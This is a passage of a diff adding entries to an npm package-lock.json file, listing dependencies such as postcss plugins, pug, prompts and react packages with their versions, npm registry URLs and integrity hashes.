"https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-normalize-url": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-3.0.8.tgz", + "integrity": "sha1-EI90s/L82viRov+j6kWSJ5/HgiI=", + "dev": true, + "requires": { + "is-absolute-url": "^2.0.0", + "normalize-url": "^1.4.0", + "postcss": "^5.0.14", + "postcss-value-parser": "^3.2.3" + } + }, + "postcss-normalize-whitespace": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-4.0.0.tgz", + "integrity": "sha1-HafnaxCuY8EYJ/oE/Du0oe/pnMA=", + "dev": true, + "requires": { + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-ordered-values": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-2.2.3.tgz", + "integrity": "sha1-7sbCpntsQSqNsgQud/6NpD+VwR0=", + "dev": true, + "requires": { + "postcss": "^5.0.4", + "postcss-value-parser": "^3.0.1" + } + }, + "postcss-reduce-idents": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-idents/-/postcss-reduce-idents-2.4.0.tgz", + "integrity": "sha1-wsbSDMlYKE9qv75j92Cb9AkFmtM=", + "dev": true, + "requires": { + "postcss": "^5.0.4", + "postcss-value-parser": "^3.0.2" + } + }, + "postcss-reduce-initial": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-1.0.1.tgz", + "integrity": "sha1-aPgGlfBF0IJjqHmtJA343WT2ROo=", + "dev": true, + "requires": { + "postcss": "^5.0.4" + } + }, + "postcss-reduce-transforms": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-1.0.4.tgz", + "integrity": "sha1-/3b02CEkN7McKYpC0uFEQCV3GuE=", + "dev": true, + "requires": { + "has": "^1.0.1", + "postcss": "^5.0.8", + "postcss-value-parser": "^3.0.1" + } + }, + "postcss-selector-parser": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-2.2.3.tgz", + "integrity": "sha1-+UN3iGBsPJrO4W/+jYsWKX8nu5A=", + "dev": true, + "requires": { + "flatten": "^1.0.2", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1" + } + }, + "postcss-svgo": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-2.1.6.tgz", + "integrity": "sha1-tt8YqmE7Zm4TPwittSGcJoSsEI0=", + "dev": true, + "requires": { + "is-svg": "^2.0.0", + "postcss": "^5.0.14", + "postcss-value-parser": "^3.2.3", + "svgo": "^0.7.0" + } + }, + "postcss-unique-selectors": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-2.0.2.tgz", + "integrity": "sha1-mB1X0p3csz57Hf4f1DuGSfkzyh0=", + "dev": true, + "requires": { + "alphanum-sort": "^1.0.1", + "postcss": "^5.0.4", + "uniqs": "^2.0.0" + } + }, + "postcss-value-parser": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.0.tgz", + "integrity": "sha1-h/OPnxj3dKSrTIojL1xc6IcqnRU=", + "dev": true + }, + "postcss-zindex": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/postcss-zindex/-/postcss-zindex-2.2.0.tgz", + "integrity": "sha1-0hCd3AVbka9n/EyzsCWUZjnSryI=", + "dev": true, + "requires": { + "has": "^1.0.1", + "postcss": "^5.0.4", + "uniqs": "^2.0.0" + } + }, + "prebuild-install": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-2.5.1.tgz", + "integrity": "sha512-3DX9L6pzwc1m1ksMkW3Ky2WLgPQUBiySOfXVl3WZyAeJSyJb4wtoH9OmeRGcubAWsMlLiL8BTHbwfm/jPQE9Ag==", + "dev": true, + "optional": true, + "requires": { + "detect-libc": "^1.0.3", + "expand-template": "^1.0.2", + "github-from-package": "0.0.0", + "minimist": "^1.2.0", + "mkdirp": "^0.5.1", + "node-abi": "^2.2.0", + "noop-logger": "^0.1.1", + "npmlog": "^4.0.1", + "os-homedir": "^1.0.1", + "pump": "^2.0.1", + "rc": "^1.1.6", + "simple-get": "^2.7.0", + "tar-fs": "^1.13.0", + "tunnel-agent": "^0.6.0", + "which-pm-runs": "^1.0.0" + }, + "dependencies": { + "detect-libc": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", + "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=", + "dev": true, + "optional": true + } + } + }, + "prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", + "dev": true + }, + "prepend-http": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz", + "integrity": "sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=", + "dev": true + }, + "preserve": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/preserve/-/preserve-0.2.0.tgz", + "integrity": "sha1-gV7R9uvGWSb4ZbMQwHE7yzMVzks=", + "dev": true + }, + "prettier": { + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-1.13.6.tgz", + "integrity": "sha512-p5eqCNiohWZN++7aJXUVj0JgLqHCPLf9GLIcLBHGNWs4Y9FJOPs6+KNO2WT0udJIQJTbeZFrJkjzjcb8fkAYYQ==", + "dev": true + }, + "pretty-bytes": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-4.0.2.tgz", + "integrity": "sha1-sr+C5zUNZcbDOqlaqlpPYyf2HNk=", + "dev": true + }, + "pretty-format": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz", + "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==", + "peer": true, + "requires": { + "@jest/types": "^26.6.2", + "ansi-regex": "^5.0.0", + "ansi-styles": "^4.0.0", + "react-is": "^17.0.1" + }, + "dependencies": { + "@jest/types": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", + "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "peer": true, + "requires": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^15.0.0", + "chalk": "^4.0.0" + } + }, + "@types/yargs": { + "version": "15.0.15", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.15.tgz", + "integrity": "sha512-IziEYMU9XoVj8hWg7k+UJrXALkGFjWJhn5QFEv9q4p+v40oZhSuC135M38st8XPjICL7Ey4TV64ferBGUoJhBg==", + "peer": true, + "requires": { + "@types/yargs-parser": "*" + } + }, + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "private": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", + "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==", + "dev": true + }, + "process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", + "dev": true + }, + "process-nextick-args": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-1.0.7.tgz", + "integrity": "sha1-FQ4gt1ZZCtP5EJPyWk8q2L/zC6M=" + }, + "progress": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/progress/-/progress-1.1.8.tgz", + "integrity": "sha1-4mDHj2Fhzdmw5WzD4Khd4Xx6V74=", + "dev": true + }, + "promise": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", + "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", + "requires": { + "asap": "~2.0.3" + } + }, + "promise-inflight": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", + "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", + "dev": true + }, + "promise-polyfill": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/promise-polyfill/-/promise-polyfill-6.1.0.tgz", + "integrity": "sha1-36lpQ+qcEh/KTem1hoyznTRy4Fc=", + "dev": true + }, + "promise-retry": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-1.1.1.tgz", + "integrity": "sha1-ZznpaOMFHaIM5kl/srUPaRHfPW0=", + "dev": true, + "requires": { + "err-code": "^1.0.0", + "retry": "^0.10.0" + } + }, + "prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "peer": true, + "requires": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + } + }, + "prop-types": { + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.2.tgz", + "integrity": "sha512-3pboPvLiWD7dkI3qf3KbUe6hKFKa52w+AE0VCqECtf+QHAKgOL37tTaNCnuX1nAAQ4ZhyP+kYVKf8rLmJ/feDQ==", + "requires": { + "loose-envify": "^1.3.1", + "object-assign": "^4.1.1" + } + }, + "proto-list": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", + "integrity": "sha512-vtK/94akxsTMhe0/cbfpR+syPuszcuwhqVjJq26CuNDgFGj682oRBXOP5MJpv2r7JtE8MsiepGIqvvOTBwn2vA==", + "dev": true + }, + "prr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true + }, + "pseudomap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", + "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", + "dev": true + }, + "psl": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.7.0.tgz", + "integrity": "sha512-5NsSEDv8zY70ScRnOTn7bK7eanl2MvFrOrS/R6x+dBt5g1ghnj9Zv90kO8GwT8gxcu2ANyFprnFYB85IogIJOQ==", + "dev": true + }, + "public-encrypt": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.0.tgz", + "integrity": "sha1-OfaZ86RlYN1eusvKaTyvfGXBjMY=", + "dev": true, + "requires": { + "bn.js": "^4.1.0", + "browserify-rsa": "^4.0.0", + "create-hash": "^1.1.0", + "parse-asn1": "^5.0.0", + "randombytes": "^2.0.1" + } + }, + "pug": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/pug/-/pug-3.0.1.tgz", + "integrity": "sha512-9v1o2yXMfSKJy2PykKyWUhpgx9Pf9D/UlPgIs2pTTxR6DQZ0oivy4I9f8PlWXRY4sjIhDU4TMJ7hQmYnNJc2bw==", + "dev": true, + "requires": { + "pug-code-gen": "^3.0.2", + "pug-filters": "^4.0.0", + "pug-lexer": "^5.0.0", + "pug-linker": "^4.0.0", + "pug-load": "^3.0.0", + "pug-parser": "^6.0.0", + "pug-runtime": "^3.0.0", + "pug-strip-comments": "^2.0.0" + } + }, + "pug-attrs": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pug-attrs/-/pug-attrs-3.0.0.tgz", + "integrity": "sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==", + "dev": true, + "requires": { + "constantinople": "^4.0.1", + "js-stringify": "^1.0.2", + "pug-runtime": "^3.0.0" + } + }, + "pug-code-gen": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/pug-code-gen/-/pug-code-gen-3.0.2.tgz", + "integrity": "sha512-nJMhW16MbiGRiyR4miDTQMRWDgKplnHyeLvioEJYbk1RsPI3FuA3saEP8uwnTb2nTJEKBU90NFVWJBk4OU5qyg==", + "dev": true, + "requires": { + "constantinople": "^4.0.1", + "doctypes": "^1.1.0", + "js-stringify": "^1.0.2", + "pug-attrs": "^3.0.0", + "pug-error": "^2.0.0", + "pug-runtime": "^3.0.0", + "void-elements": "^3.1.0", + "with": "^7.0.0" + } + }, + "pug-error": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pug-error/-/pug-error-2.0.0.tgz", + "integrity": "sha512-sjiUsi9M4RAGHktC1drQfCr5C5eriu24Lfbt4s+7SykztEOwVZtbFk1RRq0tzLxcMxMYTBR+zMQaG07J/btayQ==", + "dev": true + }, + "pug-filters": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pug-filters/-/pug-filters-4.0.0.tgz", + "integrity": "sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==", + "dev": true, + "requires": { + "constantinople": "^4.0.1", + "jstransformer": "1.0.0", + "pug-error": "^2.0.0", + "pug-walk": "^2.0.0", + "resolve": "^1.15.1" + } + }, + "pug-lexer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/pug-lexer/-/pug-lexer-5.0.1.tgz", + "integrity": "sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==", + "dev": true, + "requires": { + "character-parser": "^2.2.0", + "is-expression": "^4.0.0", + "pug-error": "^2.0.0" + } + }, + "pug-linker": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pug-linker/-/pug-linker-4.0.0.tgz", + "integrity": "sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==", + "dev": true, + "requires": { + "pug-error": "^2.0.0", + "pug-walk": "^2.0.0" + } + }, + "pug-load": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pug-load/-/pug-load-3.0.0.tgz", + "integrity": "sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==", + "dev": true, + "requires": { + "object-assign": "^4.1.1", + "pug-walk": "^2.0.0" + } + }, + "pug-parser": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/pug-parser/-/pug-parser-6.0.0.tgz", + "integrity": "sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==", + "dev": true, + "requires": { + "pug-error": "^2.0.0", + "token-stream": "1.0.0" + } + }, + "pug-runtime": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/pug-runtime/-/pug-runtime-3.0.1.tgz", + "integrity": "sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==", + "dev": true + }, + "pug-strip-comments": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pug-strip-comments/-/pug-strip-comments-2.0.0.tgz", + "integrity": "sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==", + "dev": true, + "requires": { + "pug-error": "^2.0.0" + } + }, + "pug-walk": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pug-walk/-/pug-walk-2.0.0.tgz", + "integrity": "sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==", + "dev": true + }, + "pump": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", + "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "pumpify": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", + "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", + "dev": true, + "requires": { + "duplexify": "^3.6.0", + "inherits": "^2.0.3", + "pump": "^2.0.0" + } + }, + "punycode": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", + "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", + "dev": true + }, + "q": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", + "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=", + "dev": true + }, + "qs": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", + "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", + "dev": true + }, + "query-string": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/query-string/-/query-string-4.3.4.tgz", + "integrity": "sha1-u7aTucqRXCMlFbIosaArYJBD2+s=", + "dev": true, + "requires": { + "object-assign": "^4.1.0", + "strict-uri-encode": "^1.0.0" + } + }, + "querystring": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", + "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=", + "dev": true + }, + "querystring-es3": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/querystring-es3/-/querystring-es3-0.2.1.tgz", + "integrity": "sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=", + "dev": true + }, + "randomatic": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-3.0.0.tgz", + "integrity": "sha512-VdxFOIEY3mNO5PtSRkkle/hPJDHvQhK21oa73K4yAc9qmp6N429gAyF1gZMOTMeS0/AYzaV/2Trcef+NaIonSA==", + "dev": true, + "requires": { + "is-number": "^4.0.0", + "kind-of": "^6.0.0", + "math-random": "^1.0.1" + }, + "dependencies": { + "is-number": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz", + "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + } + } + }, + "randombytes": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.5.tgz", + "integrity": "sha1-3ACaJGuNCaF3tLegrne8Vw9LG3k=", + "dev": true, + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "peer": true + }, + "raw-body": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-1.1.7.tgz", + "integrity": "sha1-HQJ8K/oRasxmI7yo8AAWVyqH1CU=", + "dev": true, + "requires": { + "bytes": "1", + "string_decoder": "0.10" + } + }, + "rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dev": true, + "requires": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "dependencies": { + "deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true + } + } + }, + "react": { + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react/-/react-15.6.2.tgz", + "integrity": "sha1-26BDSrQ5z+gvEI8PURZjkIF5qnI=", + "requires": { + "create-react-class": "^15.6.0", + "fbjs": "^0.8.9", + "loose-envify": "^1.1.0", + "object-assign": "^4.1.0", + "prop-types": "^15.5.10" + } + }, + "react-devtools-core": { + "version": "4.27.2", + "resolved": "https://registry.npmjs.org/react-devtools-core/-/react-devtools-core-4.27.2.tgz", + "integrity": "sha512-8SzmIkpO87alD7Xr6gWIEa1jHkMjawOZ+6egjazlnjB4UUcbnzGDf/vBJ4BzGuWWEM+pzrxuzsPpcMqlQkYK2g==", + "peer": true, + "requires": { + "shell-quote": "^1.6.1", + "ws": "^7" + }, + "dependencies": { + "ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "peer": true, + "requires": {} + } + } + }, + "react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "peer": true + }, + "react-native": { + "version": "0.71.3", + "resolved": "https://registry.npmjs.org/react-native/-/react-native-0.71.3.tgz", + "integrity": 